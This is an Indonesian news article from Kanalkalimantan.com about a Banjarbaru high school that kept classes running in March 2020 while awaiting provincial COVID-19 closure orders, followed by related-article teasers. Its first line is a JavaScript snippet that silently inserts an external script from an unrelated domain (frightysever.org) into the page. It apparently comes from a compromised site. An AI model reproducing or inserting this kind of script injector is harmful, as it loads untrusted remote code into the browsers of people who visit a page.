(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca ditetapkannya Provinsi Kalimantan Selatan dalam status siaga darurat virus corona, masing-masing Pemerintah Daerah di Kabupaten/Kota telah memutuskan untuk meniadakan kegiatan belajar mengajar di sekolah-sekolah. Namun begitu, saat ini beberapa SMA yang ada di Kota Banjarbaru nyatanya masih belum mendapatkan kejelasan ihwal meliburkan siswa-siswinya.
Seperti halnya yang terjadi di SMA Negeri 2 Banjarbaru. Dari pantuan Kanalkalimantan.com, kegiatan belajar mengajar di sekolah ini masih berlangsung seperti biasanya. Para pelajar juga tidak nampak menunjukan kekhawatiran apapun ditengah situasi pandemi virus corona yang melanda saat ini.
Kepala SMAN 2 Banjarbaru, Eksan Wasesa, mengakui bahwa pihaknya memang masih menunggu instruksi dari Dinas Pendidikan (Disdik) Provinsi Kalimantan Selatan, terkait menghentikan aktivitas belajar mengajar di sekolah. Namun, dirinya menegaskan bahwa SMAN 2 Banjarbaru sudah siap jika keputusan tersebut telah dikeluarkan , dengan memulainypenerapkan sistem pembelajaran online.
“Saat ini, instruksinya SMA harus masuk seperti biasa. Tapi jika memang sudah diputuskan untuk diliburkan maka kita siap menerapkan pola pembelajaran online. Tentu pola pembelajaran ini juga akan melibatkan orang tua siswa, agar anak-anak tidak kaget,†katanya, Kamis (19/3/2020).
Sembari menunggu instruksi lanjutan, kata Eksan, upaya pencegahan virus corona di SMAN 2 Banjarbaru juga sudah dilakukan. Contohnya, dengan membudayakan pola hidup sehat dan bersih di kalangan pelajar. Termasuk, sarana cuci tangan dan penyediaan hand sanitizer di masing-masing ruang kelas.
“Sesuai arahan pak Gubernur  Sahbirin Noor, kita telah melakukan langkah-langkah sosialisasi kepada guru muapun pelajar. Intinya, Corona tidak perlu ditakuti berlebihan. Harus bijak menyingkapi permasalahan tersebut,†ungkapnya.
Saat ditanya terkait pelaksanaan Ujian Nasiona (UN) di SMAN 2 Banjarbaru, Eksan memilih untuk tidak banyak berkomentar. Ia menegaskan tetap akan menunggu instruksi yang diberikan oleh Disdik Provinsi Kalsel.
Kepala Disdik Prov Kalsel, Yusuf Effendi sebelumnya telah menyatakan bahwa seluruh SMA dan SMK yang ada di Kalsel, masih akan tetap aktif dalam aktivitas belajar mengajar. Alasannya, kasus corona di Kalsel belum masuk Kejadian Luar Biasa (KLB).
“Namun nanti kita lihat perkembangan. Nanti kalau dilihat rawan akan diliburkan,” kata dia. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.